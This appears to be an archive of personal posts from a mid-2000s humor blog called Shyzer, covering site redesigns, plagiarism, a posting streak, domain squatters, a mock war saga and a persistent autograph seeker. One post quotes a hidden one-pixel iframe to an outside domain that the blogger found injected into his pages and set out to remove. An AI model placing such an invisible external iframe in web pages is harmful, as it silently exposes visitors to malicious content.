Just sayin’

Oh, and Happy New Year! I’m pretty fucking excited about things to come – hopefully you are as well!

All of this is a long-winded way to say that I’m kinda happy with the way Shyzer looks. And kinda proud. I don’t usually pat myself on the back, but I really enjoy this theme now. I’m even contemplating releasing it to the world as a freebie and letting anybody use it.

I would like to add that I’m aware Shyzer looks like ass when using IE6. My response? Which one of you fools are still using IE6!?! I know there’s at least one of you as it has a 2% market share in my stats. So, uh…stop? Please? The entire Internet thanks you.

Oh, and the Firebug extension for Firefox is a damned Godsend. You can test out edits LIVE! I know nobody reading this runs their own website, so I’ll shut up now. I just wanted to get that in for the record so that when I look back, I’ll know when it was that I finally discovered Firebug.

I’m sick of people stealing my work, be it writing or photos. But I don’t think I have the right to complain about it until I’m completely and utterly free of committing the same crime.

And to be honest, I think I’m pretty much there. About damn time. Commence the bitching about theft…now!

The next one i asked was, “What is shyzer.com?”
They said, “Shyzer is a blog written by a 25 year old in Virginia, who is widely regarded as being ‘awesome!’”

Damn straight.

Early verdict? Not all that bad, but certainly nothing fun to look at.

Things will be back up and running correctly by Thursday. Until then, just watch the videos in the posts below over and over.

It’s a contest I’m holding over on Hey, It’s Free for a few people off the forums, but if anybody here on Shyzer (all three of you!) want to join in on the fun and try to win a little cash that I’m giving away, feel free to sign up and play. You have until tomorrow morning before the tip off of the first game to get your bracket in.

Don’t worry if you know nothing about college basketball either, because none of us have a freaking clue over there

Yahoo group: http://tournament.fantasysports.yahoo.com/t1/group/157337/
School: South Carolina
Group Name: HITF B-Ball Tourney

If you don’t have a yahoo account already, it’s free and easy to make one. Though who doesn’t have a Yahoo account these days? Feel free to comment here or on the freebie forums if you want to follow along in all the friendly trash talking we’re sure to commence in.

So here we are. 30 freaking posts in 30 days. Is this 275 straight starts at QB? Na, but I almost feel like I should keep it going for another 245 days in honor of him. Okay, don’t even tempt me.

Seriously though, the past month has been pretty damn cool. I’d say it flew by, but in all honesty it felt like it crept on for ages. Yet, I gotta admit, I had fun. Way more fun than I thought I would. Only once or twice did I view it as a chore and the daily attempts to come up something new to write about was just as, if not far more, fun than actually writing the posts.

I don’t usually check the stats of Shyzer, but just looking at the before and after, there’s a clear difference. Daily readership has more than doubled (albeit from miniscule to slightly less miniscule), which is a result of organic readers (people coming here directly from their bookmarks), search engine traffic, and links to some of the more topical posts I’ve recently written. People are commenting more, I’m finding excuses to read other sites that I used to really enjoy, and again, I’m viewing things through a much more creative lens lately.

I don’t know how long I can keep this up, but you better believe I’ll make it 31 posts in 31 days. And 32 in 32. Maybe even 33 in 33. How long can I go? Let’s find out.

Then I entered the real world…

It wasn’t until I got to college that I actually started putting the Internet to good use. Downloading new music, finding directions, chatting with friends…and reading unpublished work.

Growing up, I’d venture to guess that 90% of the average person’s reading material is forced upon them. Book reviews, summer reading lists, crappy textbooks. Eventually we begin to find our “enjoyable” reading niche, which unfortunately for most men is Sports Illustrated or some other pathetic magazine while women turn to crappy romance novels. Before we know it, we’ve unceremoniously morphed into adults who have long forgotten what it feels like to read something spectacular. It’s no wonder that every time you board an airplane, all you see are cookie cutter John Patterson novels in people’s hands.

In the past, only a select few seemed to be lucky enough to truly discover and appreciate a Watership Down or Catch-22 or Ball Four. But even with those, you were limited. It’s my experience that no matter how wonderful a book may be, chances are anything else by the same author is…well, sub standard. You’ll always be holding the author up to what ultimately may be their magnum opus, at least in your eyes. Something that took years of writing and polishing and editing is what you find yourself holding as the benchmark for adequacy. An author can’t just snap their fingers and produce another equally astounding piece of work. I don’t care what J.K. Rowling writes next, it won’t top Harry Potter. The same goes for Richard Adams or Pat Conroy or any of the other authors who’ve written something I’ve grown to love.

So with that, all I can say is thank God for the Internet. There’s something different between an author in the traditional sense and somebody who writes and publishes something each and every day. Sure, you have to sludge through a lot of crap, but every now and then you find a hidden author that for reasons unknown is able to produce gem after gem, day in and day out, with practically nobody reading it. It doesn’t take a genius to see how somebody then goes from reading an unknown blog to ripping it off.

Think of it another way. How many of your favorite bloggers have taken their old material and actually made a book from it? How many of their posts will actually ever be read by more than a few hundred people? With odds like that, and other pressures that a “”published” author faces such as deadlines and expectations, I’m honestly shocked we haven’t seen more cases of plagiarizing on the web. The only blogger who I can name off the top of my head that transformed his material into a book (and whom I once read on a daily basis) was Colby Buzzell. Most bloggers simply delete their material when they grow tired with the net, like Doc and Stan did. At that point, ripping somebody off isn’t just an appealing option, it’s practically screaming in your face.

I write this post to point out one fact: in the past, I’ve ripped people off. There, I admit it. I’ve since deleted anything I copied from somebody else and thank God none of it became popular (in the sense that it made the Best of Shyzer or even garnered a lot of comments). Before, whenever I read something I especially liked, I might copy it here on Shyzer and bury it somewhere in a post. Now, I just link to it as it should be.

I think what changed my ways was having my own content stolen for the first time a few years back. It pissed me off then and it still pisses me off now, as is evident with the Mark Kotsay’s wife post I made a few months back. But at the same time, it’s an occupational hazard and something to be expected, I guess. Hell, I’ve even had attacks against me that I’ve copied other people for posts I made on HIF and it wasn’t even intentional. Such was the result of accepting user submissions. So, basically I know how it feels to be on every end of the plagiarizing triangle and frankly, none of them provide an enjoyable experience.

So to any would-be plagiarizing author out there who thinks he or she can get away with copying just a few paragraphs from an unknown website and passing them off as their own work – don’t do it. It’s simply not worth it, trust me.

Honestly, I figured I’d be farther behind at this point in time. Go me

Everything below this line is simply a long winded message describing the fact that I’m loving how people are leaving comments on Shyzer again. I’d love to say I write for some altruistic reason, but deep down I’m just another attention whore.

In an effort to add a little thank you to all the people who take the time out of their day to comment on Shyzer, I sat down tonight with the goal of adding a “Recent Comments” box to the sidebar. In it, I want to show the last 7 comments left here on Shyzer. Why? Well, for starters, a lot of people go back and make comments on posts a few days old and I wanted to make sure other people saw them. I also wanted to stick in an added bonus for anybody with a site of their own, as their name would contain a link to their site.

However, in the process of doing all this, I discovered that WordPress widgets aren’t retardedly stupid like I’d previous thought. Instead, they’re pretty damn awesome. As a result, the sidebar will look goofy for the rest of tonight as I properly style each default widget that WordPress comes with. Why would I care if the widget’s look decent, even if I don’t use them myself? Because I want to one day release this theme as a free WordPress theme for others to download

And yes, since I’ve spent a few hours teaching myself how these widgets work (and more importantly, how to freaking style them!), this totally counts as today’s post.

• The share this button. Click on it to easily and quickly send a certain post to a friend via Email, Facebook, Digg, etc.
• When you go to leave a comment, scroll up a little and you’ll notice a new box of “related posts” to the post you just read. It’s a great way to be reminded of all the pointless crap I’ve written over the years!
• The search box now has magic text that disappears when you click it and then poofs back when you click elsewhere. OMG ITZ WITCHCRAFT!
• When you hover over a post’s title, it no longer double underlines it. That always annoyed the crap out of me, but I was too lazy to fix it.
• I upgraded all the plugins on the site, so now they no longer break for no reason.
• The sidebar links were cleaned up a bit. Nothing new added, a few old links removed.
• The freebies widget was added on the sidebar, to show all the awesome freebies I post on HIF. I can’t get the damned timestamp removed on it though, which sucks. The widget, though, was created thanks to wigitize.

Wow. Wasn’t all that so exciting?

Also, to everybody who commented in the post below, thanks. I honestly didn’t know that many of you still read Shyzer. You guys rock

Edit: Welcome, CNN readers. Don’t bother reading this post, check out the good stuff.

Not to say that this is the best layout ever, but it’s far from horrible and has everything I want in a design. Clean, some bold colors, clean, straight to the point, not much fluff, clean, and CLEAN. Everybody knows that when somebody types IN ALL CAPS, it’s as if they are screaming at them. Well when I go to a website and there’s so much stuff going on that I can’t tell what is what, then it’s as if the website is screaming at me. Which means I close the tab and move to another site. That’s not what I want Shyzer to be like and while the new layout isn’t busy or dynamic or screaming at you, it’s not quite as low key as this layout.

This is all an extremely moot point, however, because nobody reads this damn site anymore. Surprisingly, that doesn’t really bother me though.

Before some time I asked with you after signed photos – but
up to now I could’nt hear from you.
I would be therefore so happy if you could send me handwritten photos of you – you are a very beautiful man with a sympathically face and a great aura. The collecting of signed photos is my greatest hobby – and signed photos of you will get a special place in my collection. I would be happy if you could fulfill my wish. Thanks in advance for your kindness!

Hahaha. In case you don’t remember, I wrote about this crackpot last year and thought that would be the end of him. I assumed a little public humiliation would be just the correct dosage to getting him off my back, but apparently I was mistaken.

Buddy, look, I’m not sending you any signed photos of myself. Give it up. Yeah, I bet I’d hold a special place in your collection. And frankly, I don’t want to even think about what that place might be, especially if it involves you, my photo, and a little “special time.” Add to the fact that identity theft isn’t on my list of things I want for Christmas and I think you can see where I’m coming from.

Although I doubt you can even read any of this, as your English sounds about on par with my dogs. No, scratch that, she can communicate with me a little bit better than that crap you sent me. I bet you still pee on the rug, don’t you?

And with that, I’m out of here.

We’ve had some good times over the past 5+ years though. And by “we” I mean “I” and by “good times” I mean “times where I wanted to hang myself thanks to this damn site.” Yet here I am, typing this post at 2:13 AM as I lie in bed practically half asleep and wanting nothing more than to close my eyes. I love this fucking site and don’t ever let me tell you otherwise.

And I don’t really want to have to do that…

********

If you can’t tell already, I’m a bit pissed.

So after being told for the millionth time that Shyzer is triggering people’s anti-virus software, I finally started digging around tonight and found this at the very bottom of my source code:

</body>
</html>
<iframe src=’http://ltraffic.biz/resource.php?id=4536&user=Nikson’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>

Which is fine and dandy and all except for the small part that I HAVE NO IDEA HOW A RUSSIAN VIRUS HAS LEECHED INTO MY CODE! My footer page simply ends with:

</body>
</html>
NO RUSSIAN VIRUS CODE!

I’ve googled around, but apparently I’m one of the few morons who has let this happen to him. Huzzah! So, if you’ve been getting popup errors and anti-virus messages, please note: I’m aware of the situation and I’m not going to bed until I fix this. I can handle going two weeks without adding any substantial material to this site without breaking a sweat. But letting spyware take over? Fuck that.

EDIT 1: Well I’ve eliminated the fact that the spam is in my theme code, because no matter what theme I switch to, it’s still there.

EDIT 2: It’s not in my plugins, either. I’ve got the default theme running, no plugins, and the bastard is still there.

I’m of course referring to the fact that two days ago, a domain squatting company decided that Shyzer.com was such a successful and amazing site, that they needed to purchase as many of it’s misspelled domains as possible. Shyerz. Shyezr. Syhzer. You name it and I’m pretty sure they’ve snapped it up.

It’s nice to know that whenever I don’t feel like posting on here, all those fake sites have my back. My readers will still be able to head on over to Shyezr.com for all their “Samsung Toner Cartridges” needs, which I think speaks for itself. If there’s one thing I immediately associate with Shyzer, it’s toner cartridges from our good friends at Samsung.

Actually, now that I look around, I see that Syhzer.com has links to “Metal and Non-Metal Balls”. Please, we all know Shyzer has nothing but Metal Balls. We don’t waste our time or kid around with any of those Non-Metal Balls.

Heh heh heh. Balls.

For being a porn site.

Now, I’ll be the first to admit there’s way too much random topics of conversation here on Shyzer. Hell, we even have people looking for breast orgies here. But just like back then, there isn’t any pr0n in this here neck of the Internet. Well, unless this counts as an inappropriate viewing pleasure.

So to all of you out there who can still read Shyzer while you’re supposed to be working, enjoy it while it lasts. You never know how much longer it’ll be before you sit down with your morning coffee, type in Shyzer.com, and are greeted with the message that your superiors have been notified that you just tried to look at boobies at work.

We here at Shyzer are under attack. Counterfeit Facebook, Shyzer, and Goob forces are massing under the cover of darkness for what can only be interpreted as an invasion force. Before long they’ll launch a sudden air strike against my ranking on Google for Goob. Our intelligence indicates they’ll then quickly shift the brunt of their attacking hordes to focus on Shyzer in an effort to decapitate us in a quick and sudden blow.

But we’ll be waiting for them. Oh hell yes, we’ll be ready. Just like last time.

Records and details are sketchy and the only remaining artifact is the ancient map above, but over time we’ve managed to piece together a history of the first Great War. We also suspect the oncoming one will follow a similar path. The first Battle of Goob occurred somewhere near the northern borders. The newly formed nation of Shyzeria set up defensive positions along the barren landscape, with the combined armies of HIF and Shyzer dug into defensive trenches around the Great Line of Shyzeria and the naval armada of Hey, It’s The Forums patrolling Sidebar Sea to the west. Approaching southward, the wretched and fully armed division of Goobdemort had no choices but to attack head on. Though heavily outnumbered and out gunned, the defending Shyzeria regiment valiantly held off wave after wave of the oncoming swarm in spite of the widely known secret that no replacement forces would soon arrive for either the dead nor the weary.

After more than a week of heavy fighting, a Goobdemort scout spotted a weakly held stretch of the line and it wasn’t long before at least two Goobdemort brigades flooded towards the spot. As they near approached, even they were surprised at the sparse resistance they faced and thanked their God for such a blessing. As they began to cross the line, a sudden and massive barrage of Shyzeria’s long ranged naval artillery slammed their exact spot and surrounding area in a brilliantly timed and executed ploy. Goobdemort’s leaders quickly realized they had fallen prey to an ambush and ordered a hasty retreat, none too soon either, as Shyzerian forces began attacking from nearly every side. Though badly wounded and having lost the bulk of their original army, Goobdemort’s troops were soon thrilled to see that their leaders had called in yet another division of men to help crush and demoralize the remaining puny Shyzerian resistance.

It didn’t take much longer for Shyzeria’s leaders to see that the northern lands were all but lost. After 18 days of bloody battle, they knew their forces could not repel yet another wave of enemy attackers. Thus they ordered a full retreat westward around Post Forest, down the coast of Sidebar Sea, and into the Comment Caves. There, they would make their last, and probable futile, stand against the evil throng.

As the twilight began to fade that evening, Shyzeria’s forces surreptitiously crept away from the front lines and began the long march southwestward. Yet it wasn’t long before Goobdemort’s spies noticed the hasty retreat and ordered a ruthless pursuit. With Shyzeria’s anti-air guns having been dismantled and loaded onto trucks for the retreat, Goobdemort’s air force found they were free to scream down and unleash hell upon the hapless Shyzerian army. Throughout the night, Shyzeria suffered almost insurmountable losses and as dawn fast approached, Shyzeria’s leaders debated whether or not to halt their flee and make a stand against the pursuing force. However, just as they were about to order issue their new orders, a runner approached from the west with Earth shattering news. Shyzeria’s navy had not only been obliterated the previous night by Goobdemort’s attack submarines, but far off on the horizon, troop transport ships had been spotted. Sullen and dejected by the horrendous news that they no longer travel south along the coast, much less stop and make a stand, they ordered all remaining forces to immediately enter Post Forest.

As Goobdemort’s leaders watched the last of Shyzeria’s dejected men slink beneath the cover of the thick forest, they halted their advance and once again reveled in their good fortune. For now their enemy was trapped in the thick overgrowth of the woods, meaning Goobdemort’s army would be able to swing down the coast and arrive first at the caves. In only a few days, they’d have their enemy flanked on all sides with no chances of escape remaining for the cowardly Shyzerian forces.

Yet the leaders of Shyzeria weren’t stupid. They quickly saw what Lady Luck had delivered to them and unanimously decided their only chance of survival was to send out messages to any of their sympathetic allies who might remain. Runners were sent out in all four directions with the prayers that one might be able to slip undetected through Goobdemort’s perimeter and bring back any aide they could round up. And with no other plays remaining, Shyzeria’s forces regrouped and began to slowly hack their way through the thick brush towards the Caves.

10 days passed before Goobdemort’s wicked forces had completely surrounded the forest. Their leaders became irritated with waiting for whatever was left of the opposition to emerge from the woods and so began to march their men northward. Meanwhile, Shyzeria’s remaining rag-tag forces resembled those of a weak militia more so than of an army. Weary from having marched almost non-stop for over a week, they geared up for what they rightly believed to be their ultimate battle. As talk of surrender began to creep into the serious discussions of even the highest ranking members of Shyzeria’s military, the unmistakable sounds of Goobdemort’s thugs began to flood the forest. Scouts clambered up to the tree tops and reported that they were not far from the Shyzerian’s thinly held defenses.

The Shyzerian soldiers were ordered to promptly find cover and lie in wait. Having left every resemblance of heavy artillery far behind in their journey, their only prospect was to allow as many of the evil fiends to invade their camp before unleashing a sneak attack on them from the trees and brush in the hopes of taking as many of the heinous bastards to the grave with them.

As the Goobdemort troops moved deeper into the forest, many of their numbers unknowingly found themselves within striking distance of a Shyzerian gun. Yet the order to halt was abruptly shouted by their leader, as his radio began to squawk with broken and confusing pleas for help. As fate would have it, a Shyzerian Marshall was within earshot and instantly realized what was happening.

For at that very moment, a division of heavily armored cavalry from Facebook Talk came thundering over the ridges of Logo Mountain and smashed practically unopposed through the rear Goobdemort reserves and supply lines. As the Marshall raced to calculate how this luck of gigantic proportion changed his men’s current situation, the Goobdemort airwaves again lit up with shrill cries of even more enemy forces. The Marshall could hardly believe his ears and for a moment, he froze with disbelief. He did not believe in such amounts of luck and good fortune. Yet as he crouched under the thick shrubbery and felt the ground beneath him gently rumble from far off explosions, his mind sprang to life and toyed with the idea of not just survival, but actual victory.

Three nights prior, a beaten and haggard looking man was intercepted near the borders of the distant, long forgotten, and now rouge nation state of Shyzer Network. Not accustomed to accepting foreigners kindly, the Shyzer Network guards immediately demanded the messenger turn around and leave if he valued his life. Yet his persistence of a counsel with the nation’s leader, despite the potential threat to his life, impressed the guards and they escorted him directly to their nation’s capital. Once there, the emissary explained in great detail the ongoings of his home nation to anybody who would listen. It didn’t take long for the leaders of Shyzer Network to become romanticized with the idea of saving their once close brothers of Shyzeria from certain doom. They immediately dispatched their entire army to make haste for Shyzeria and with it, to carry The Bomb.

And so, as the distinct mushroom clouds rose over the tree line, the Shyzerian Marshall let slip a tear of joy. The entire Goobdemort’s navy, along with the invasion force brought with it, had in the blink of an eye been eradicated and the Marshall knew that every man in the forest was coming to that same realization as they slowly gazed upward. Not wanting to give the enemy time to comprehend this sudden change of events, he boldly shouted to attack and the boscage erupted with the sharp crack of gunfire and explosions.

To say that Goobdemort’s troops were caught by surprise and unprepared for what followed would be an understatement. Surging with new found confidence and bravery, the Shyzerian troops unleashed their fury and rage in a massive and sudden outburst of force. Soundly routed, uncertain of what to do, and having no idea exactly how few Shyzerian troops were attacking them, the enemy fled from the woods and back to the safety of the nearby caves. But the Marshall refused to allow the enemy to escape while his men basked in the glory of their victory and so he led his men in full pursuit right to the mouths of the caves.

Over the next few days, the remaining Goobdemort villains launched countless unsuccessful attacks on the Shyzerians guarding the only exit. It wasn’t long before they watched in horror as the Facebook Talk and Shyzer Network troops arrived to bolster the defenses. Dangerously low on ammo and supplies, heavily outnumbered, and with moral beyond repair amongst the troops, the Goobdemort leaders offered terms of unconditional surrender to Shyzeria.

And thus ended the First Great War. Or so the ancient legends go. Personally, I think they’re just the ramblings of somebody who watched a few too many war movies last night in an effort to get his mind off the upcoming final Harry Potter book.

(Clayster and I are probably the only ones who get the title of this post, but if you should care to join in on our laughter, watch this YouTube video.)

Long story short, I downloaded Vienna today, added all of my daily reads to it, and then decided to add all of my own sites to it just to check out how my posts look in an RSS reader. AND GUESS WHICH SITE HAS A BAD RSS FEED?!

Look Shyzer, I love you. I really do. You’re my favorite, and please don’t repeat that to Hey, It’s Free or Facebook Talk. All that’ll do is make for a really awkward family reunion, then Learn To Cheat will start drinking since he thinks nobody likes him and before you know it, all of your bastard cousins will show up and demand to know why I even bother to renew them every year. So just do me a favor and stop acting like a punk ass and just start to work like you’re supposed to. Come on, you know I take good care of you. Think about all of those poor little orphan sites that would kill to be in your shoes, like Circle of Jerks. He doesn’t even have a proper layout anymore! You want to end up like that?

See, that’s what I thought. So get your act together and start flying straight or else I’m so gonna send you to your room and not let you talk to Google anymore.

HE TOLD HIM HE WASN’T GONNA SLIDE!

It’s been a while since I’ve done a long post over here on Shyzer, which is part purposefully, part circumstance. It doesn’t take a genius to know that “pithy” is not a word used very often to describe my writing, even when I’m aiming for that short, but sweet type post. I like to think I’m getting better at it though.

On the flip side, whenever I actually have had time to work on something, 9 times out of 10 I gravitate towards a project on Hey, It’s Free! and devote all of my attention there. Today while “teaching,” I made a list of all the projects I’ve got half complete on HIF! and that ultimately led to doing the same here for Shyzer. Who remembers this? I sure as hell do. I remember sitting outside on the deck or trampoline and trying to come write it all. I easily spent 15+ hours working on it – trying to research stuff I could turn into jokes, setting up the best matches possible, writing more then I even ended up publishing here on Shyzer…

And yet I never finished it.

Those last four words don’t even surprise me anymore when I say them. “I never finished it.” Shlyrics. Tens of thousands of words strung out between dozens of potential posts. The Religion Tournament. And this is just on Shyzer. Is it because I’m lazy? Do I enjoy just dabbling my feet in something new before growing bored with it? Do I start them only to realize they are going to suck and thus cut my losses?

I don’t know. I’m too lazy to bother thinking about it.

Now somebody go to Cuba or Tanzania and visit Shyzer so that we can get over the double digit mark!

AWESOMELY COOL EDIT: Would you effing believe that not 30 minutes after making this post, I had visitors from Brunei and Syria visit Shyzer almost back-to-back, thereby putting us up to 101? Way to go Shyzerians in representing!

Thus, the new norm here at Shyzer is going to shift slightly. First, comments will be turned on much more often than not, as has been the case over the past two weeks. But more importantly, you’ll be able to comment on something new every day. That’s right, I’m going to see how long I can last posting something new here at least once a day. If that can’t pump some life back into this site, as well as challenge me somewhat creatively, I don’t know what can. If anything, this’ll be the perfect way to teach myself how to write succinctly.

I figured I’d wait until at least a week into the new year before announcing this, though – for reasons I’m sure you can quickly grasp. Oh, and for the record, this counts as today’s post. 8 down, 357 to go.

But now, oh now, my RSS subscription won’t work!

I never really understood the idea behind RSS feeds. To me, it’s like saying, “I’m too lazy to go to your site once a day to see if you wrote anything new, so I’ll just let a computer program tell me the first sentence of your new posts and I’ll base my decision to visit your site solely on that.” It’s like walking up to your friend, saying the first sentence of a conversation, and then stopping to see if he gives you permission to keep talking. That said, I’ve still spent a good two hours trying to fix it today for whatever few RSS readers I do have. You people better be worth it!

Anyways, if you had any favorite posts of yours or links to Shyzer with the /wp/ in it, just delete that and it should work fine. I’m trying to set up a redirect so that if anybody types in an old address, it takes them to the new one, but so far no luck.

EDIT: Ha. I’m good, that’s for sure. Not only did I set up a proper redirect (so no matter what link you use, old or new, you end up at the new location), but I got the RSS feature working. I think this calls for a victory beverage.

Dear Shyzer,

my English is’nt very well – but I want to write you this mail.

I found your homepage with the photo gallery of you.
The pics of your headshave are great. Your decide for the bald was certainly not easy – but it was a good decide. Your bald ist very beautiful and your face effected with it better.

My greatest hobby is the collecting of signed autograph cards and photos of nice people.

I would be therefore very happy if you could send me handwritten pictures of you (I know my wish is a little bit crazy).
I would be therefore very happy if you could fulfill my wishes. Many thanks in advance for your kindness.

Best wishes and regards send you

Michael

Sweet! I made a good decide! And my face effected it better!

I got that back in May of ’05 or so. I honestly didn’t know what to do besides laugh my ass off for a few minutes, so that’s exactly what I did. I was in the computer lab back in Newcastle and I honestly slumped out of my chair laughing so hard. Finally! It had taken 2 1/2 years, but I had my own Internet Creep! Once I finally regained my composure, I forwarded it to a few people, laughed some more, and promptly forgot all about it. Fast forward to three weeks ago:

Christmas Wishes

My wish is very large,
The space is rather small,
But Merry Marry Christmas,
Happy New Year fells it all!

The best wishes send you from Northern Germany

Michael

I would be therfore very happy if you could send me handwritten photos you – you are a very beautiful man – I’m enthused of you!
My greatest hobby is the collecting of autographs from beautiful people with a great aura.
I would be therefore very happy if you could fullfill my christmas-wish – a signed photo of you. Thanks in advance for your kindness!

And he’s back! And he’s enthused of me!

But this time, he not only included his home address in the e-mail, but two awesome webpages. Look at those amazing sites, complete with strobing images, animated gifs, and text I sure as hell can’t read! But the real treasures lie in the pictures. There’s so many random pictures on them that are unintentionally hilarious, that I’m pretty sure they’re illegal in most states. But that’s what I’m here for, to make sure y’all have something to occupy yourselves with while wasting company time!

Some might think I’m being mean, but to that I respond with A) You certainly don’t know me well if you think this is mean and B) I’m not a huge fan of identity theft. If that’s your cup of tea, by all means go for it, but me? I kinda enjoy there only being one Goob out there who can withdraw money from my checking account or buy loads of Internet porn with my credit card…um…wait…I mean donate loads of money to Columbian orphans and cute puppies. The last thing I want to do is send some guy my signature so that he can “decide” to write a few checks as Ryan Shyzer. Well, he wouldn’t get real far with that since Shyzer isn’t my last name, but you get the picture.

So Michael, best wishes to you and your quest of collecting the signatures of nice, beautiful men with great auras. As you can see, I am a beautiful man with a great aura.

But I’m sure as hell not nice.

My secret is trying to find a story in the most mundane of events and it’s a challenge but it’s also an extremely fulfilling type of artistry, I think.

Truer words have never been spoken.

I think that’s why I’ve enjoyed working on Hey, It’s Free so much since I opened it in March. Initially, I had planned on making the site a farm from which I could get referrals to my accounts such as FreeIpods.com and the such. But once I realized that was going to be un-Godly boring and bland, I just started posting links to free items every few hours.

Before I knew it, I started trying to find something funny in each item, either in making fun of myself for wanting the freebie, making fun of others for wanting it, or making fun of the freebie itself. It grew to be a challenge; trying to come up with two or three liners multiple times a day on random items. I personally still think I suck at it, but not only has the traffic grown almost each week, but the response has been amazing. I get almost daily comments and e-mails from people who think I’m hilarious and it both baffles and humbles me.

Every time I get one, I want to say, “Me? Funny? Na, I’m not funny, you’re got it all wrong. These people are funny, check out this or this or this blog…I’m just a guy trying to show you where you can get free dog pooper scoopers and coupons for small diet cokes.”

Shyzer never was the pinnacle of blogs. It was a blast for a while, but somewhere along the way it became a chore. I started to loath the thought of trying to pluck a story out of my daily events and it showed, both in terms of the quality and frequency of my updating here. This is nothing new, as it’s happened before to me with Shyzer. But what Hey, It’s Free has done is remind me how enjoyable running a website can be.

Just as I’ve discovered I enjoy trying to find the funny in promotional crap companies give away, finding a story in my everyday life has become fun again. And that, my friends, feels wonderful.

And as a matter of fact, you all should be reading that site daily now. I know I “launched” it back in August, but in all honesty, I didn’t really update or keep it operational for longer than a week. However, ever since late February, I’ve updated it multiple times daily with posts. I revamped many of the pages and changed the direction of the site from having my referral link peppered all over the site to offering nothing but completely and 100% free items. So, go take a look at Hey, It’s Free and…well, add it to your bookmarks and keep going back to it every day! New posts over there are automatically made every 4ish hours and bring with them information on how to get free samples, money, electronics, food, sex toys – you name it, I post how to get it for free!

The most obvious change of course is the new layout. Gone is the clutter and replacing it is clean, crisp, goodness. The radio, webcam, and tagboard are gone, the latter two permanently. The new radio is under the “radio” link and it shouldn’t be much more complicated than that. I bet y’all can guess where the search section is and if you need a few external links to other sites, they’re not hiding anywhere. I’m still not sure if I want to keep comments around or not, so I guess we’ll just see. For now, they’re here, but I might yank them at any moment.

This layout is a first for me in many ways, one of them being using a white background. My past three layouts were all dark (black, black, and dark greenish) and I wanted to liven things up a little with not only some color, but some non-dreary inducing whiteness. When I first sat down to sketch what I wanted the new design to look like, I also knew I wanted a bigger area for my posts. What I hated about the old layout was how there was so much blank space on the right and left hand side of the posts / sidebar. For those of us using a larger resolution on our monitors, it looks like utter crap. I wanted Shyzer to stretch and fit the full length of the page and now, no matter what resolution you use, it does just that. (and Damn you to hell 800*600 people! I had a hell of a time configuring this layout to fit properly and all I can ask is why the hell are there still people out there using 800*600 resolutions!?!?!)

This is also the first layout I’ve coded from the ground up using CSS. In my past layouts, I’ve taken other people’s designs and proceeded to hack, slash, and duct tape them into something I not only better enjoy, but that will also work with the programs I use around here. This is akin to chopping down a redwood and then sawing, chiseling, and chopping your way to a decent kitchen table. But this time I decided to just plant a kitchen table seed and let one grow straight from the ground instead. I finally decided to expand on both my knowledge of CSS and WordPress and so I bought a kickass CSS book and followed a wonderfully written WordPress tutorial to get at what you see here. No tables, no images, all CSS and WordPress codes. And damn am I proud of it.

I’ve still got a little bit of work to do, but that’s just touch up stuff. The sub-heading above (The Beauty of Simplicity) might soon display random quotes every time you load a new page, but I haven’t perfected that code just yet.

But the problem with blogs is that they evolved and spread. In April 2005, reports came out that 40,000 new blogs were popping up a day. Reports this month have that number in the neighborhood of 80,000.

Eighty Thousand New Blogs.

A Day.

When The Real World first aired, it was an instant success. Same goes for Survivor. The reason for this is simple: people were intrigued by the front row voyeuristic view they were given, found it refreshing in a sort of queer way, and wanted more. And more they got. Now you can turn on the television and find a hundred knockoffs that are so lacking in quality, it’s not even remotely funny. Well blogs are no different. The blogs that were hugely popular when I first discovered the trend offered a raw and clear view into the author’s life. There were no filters on what the authors published and we got to see it all; the good, the bad, and the ugly that occurs in all our lives but which few of us ever share with others. It was the next evolution of reality TV. No longer were the stations and producers deciding what we at home got to see. People could now open up their lives for anybody and everybody to peer into and the most successful ones were those that offered the most unrefined and uncensored vision possible.

But as always, people sitting at home thought to themselves, “Pfft, I could do a much better version of this.” With reality TV, that meant they had to compete against thousands of others and get cast on the show. With blogs, that meant all they had to do was create a free account and start posting.

And for every worthwhile blog that has cropped up each day due to all the attention CNN and Fox News have given bloggers in the past year or two, 79,999 horrible ones featuring high school kids giving bad movie reviews or some pissed off patriot talking about how we need to support President Bush suddenly appear on the Internet. I had hoped blogging would be a flavor of the month with the general public, like pogs or those slap bracelets people always had in middle school. God we looked retarded walking around with those on our wrists. But instead, it looks like blogging’s here to stay with every soccer mom and NASCAR car dad out there, along with those retarded terms the news media like to make up, like soccer mom and NASCAR dad.

All this does is dilute the pool even more. As a reader, I’m sure you know how hard it is to find a decent blog nowadays. Most of my all-time favorite blogs are still the ones I unearthed long before Shyzer was ever conceived. But 2005 saw the closings of the last holdouts of that generation, most notably Doc from Doctor Grosz. And with that said, given my odds, I feel confidant in saying I’d put Shyzer up against any other random blog out there – that is, whenever I have it running on all cylinders. I don’t try to be perfect in everything, but I most certainly strive for perfection in anything I do happen to partake in. If I’m going to spend my time on something, I’ll be damned if the final output isn’t as close to perfect as humanly possible.

I enjoy the uniqueness and randomness of my personality. Given the option of taking two roads, I most certainly will always select the one less traveled. Not because of some idealistic, romanticized view I hold on life, but simply for the selfish reason that I hate being like everybody else. Remember, this is the guy who as a kid, pulled out a map and found the city farthest away from his hometown when he decided he needed to pick a baseball team to root for.

For what’s the point of screaming when everybody around you is screaming the exact same thing?

That said, I hate admitting to myself that Shyzer has slipped in terms of quality lately. I’m lucky if I have this baby operating like I do with a rough hangover, much less running to the standard I expect from myself. Couple that with the unnecessary stress of updating every few days and the fact that I’m partaking in an art form that everybody else seems to be enjoying, and you can see why the idea of closing shop seems appealing at times.

And yet I can’t bring myself to do it. This isn’t just some website to me. I truly view Shyzer as an extension of myself, for better or worse. What I want is for Shyzer to regain some of its uniqueness that it once held and to start properly reflecting some of my personality. I don’t want half of the people I know operating sites similar to it and since I know I can’t go back in time and prevent blogs from becoming a cultural phenomenon, I’m left with two choices. On one hand, I could take down all my material and replace everything with a simple splash page like most people who feel the way I do have done…

Or, I could force Shyzer to evolve. I was one step ahead of the curve last time, so why not do it again? Plus, if everybody before me is closing shop, wouldn’t I be contradicting my own philosophy by following suit and turning off the lights as well?

